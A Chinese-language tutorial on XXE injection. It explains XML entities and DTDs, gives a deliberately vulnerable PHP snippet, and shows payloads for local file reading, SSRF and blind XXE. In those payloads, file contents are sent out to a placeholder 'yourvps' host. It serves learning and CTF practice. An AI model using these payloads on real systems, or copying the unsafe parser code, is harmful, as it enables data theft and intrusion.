基礎知識
XML(Extensible Markup Language)被設計用來傳輸和存儲數據。關於它的語法,本文不准備寫太多,只簡單介紹一下。
XML基本知識
1
2
3
4
5
|
<note>
<to>chybeta</to>
<from>ph0en1x</from>
</note>
|
在上面代碼中的第一行,定義XML的版本與編碼。
在XML文檔中,所有的元素都必須正確的嵌套,形成樹形結構。並且整個XML文檔中必須要有一個根元素。如上代碼,<note>
是整個文檔的根元素。嵌套在note標簽中的<to>
和<from>
則是根的子元素。
同時,所有的XML元素都必須有關閉標簽,這點不像html語法那樣松散。如果缺失關閉標簽,則會導致XML解析失敗。
實體
所有的XML文檔都由五種簡單的構建模塊(元素,屬性,實體,PCDATA CDATA)構成。這里着重介紹一下實體:實體是用於定義引用普通文本或特殊字符的快捷方式的變量,實體引用是對實體的引用。實體可在內部或外部進行聲明。因此我們利用引入實體,構造惡意內容,從而達到攻擊的目的。
實體類型
XML實體分為四種:字符實體,命名實體,外部實體,參數實體。
文檔類型定義:DTD
wikipedia關於這的描述是:The XML DTD syntax is one of several XML schema languages。簡單的說,DTD的作用是定義XML文檔的合法構建模塊。如前所述,實體也是構建模塊之一。因此可以利用DTD來內部或外部引入實體。
其基本格式:
1
|
|
內部引入
格式:
1
|
<!ENTITY 實體名稱 "實體的值">
|
將DTD和XML放在同一份文檔中,利用DTD定義的實體即為內部實體。
1
2
3
4
5
6
7
|
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe>
|
訪問該XML文檔,&chybeta;
會被解析為Hello World!並輸出。
外部引入
基本格式:
1
|
<!ENTITY 實體名稱 SYSTEM "URI">
|
通過引用定義在外部的DTD中的實體,我們稱之為外部實體。
由於xxe漏洞主要利用的是外部實體,所以這里暫不展開。具體實例見下。
利用方式
xxe注入
以php環境為例,index.php內容如下:
1
2
3
4
|
$xml=simplexml_load_string($_GET[
'xml']);
print_r((string)$xml);
|
讀取本地文件
利用各種協議可以讀取文件。比如file協議,這里的測試環境為win,所以這里我選擇讀取c盤里的TEST.txt。
1
2
3
|
<root>&file;</root>
|
將上述xml進行url編碼后傳進去,可以發現讀取了TEST.txt中的內容。
我這里測試時,如果不進行url編碼則不能成功解析。
若使用fill協議,在unix環境下,可以用如下xml來讀取passwd:
1
2
3
|
<root>&file;</root>
|
如果要讀取php文件,因為php、html等文件中有各種括號<
,>
,若直接用file讀取會導致解析錯誤,此時可以利用php://filter
將內容轉換為base64后再讀取。
1
2
3
|
<root>&file;</root>
|
命令執行
php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。這里暫不進行測試。
內網探測/SSRF
由於xml實體注入攻擊可以利用http://
協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。
bind xxe
以php環境為例,現在更改index.php內容如下:
1
2
3
|
$xml=simplexml_load_string($_GET[
'xml']);
|
少了print_r,即沒有回顯消息。這個時候我們可以利用參數實體,通過發起http請求來攻擊。
讀取本地文件
payload1
1
2
3
4
5
6
7
|
<!ENTITY % file SYSTEM "file:///c://TEST.txt">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
|
在我的vps的xxe.xml的內容如下:
1
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
|
而測試文件TEST.txt內容為:
1
|
chybeta
|
整個的調用過程如下:解析時%dtd
引入xxe.xml,之后%all
引入send
的定義,最后引用了實體send,把%file
文件內容通過一個http請求發了出去。注意需要把payload經過url編碼。查看vps上的access.log:
若要讀取php等文件,同樣需要先經過base64加密下。
1
2
3
4
5
6
7
|
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
|
payload2
發送的xml:
1
2
3
4
5
6
|
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %send;
]>
|
而在vps上的xxe.xml內容為:
1
|
<!ENTITY % payload2 "<!ENTITY % send SYSTEM 'http://yourvps/%file;'>"> %payload2;
|
注意的是,
不能直接寫成%
,否則無法解析。
xxe.xml中定義和引用了%payload2
,在通過%dtd
引入xxe.xml后,得以使用符號實體%send來進行發送。其中%file為讀取的文件內容。查看access.log:
ctf
小試牛刀
拿jarvisoj平台上的題目來小試牛刀吧。
題目:api調用
題目描述:請設法獲得目標機器/home/ctf/flag.txt中的flag值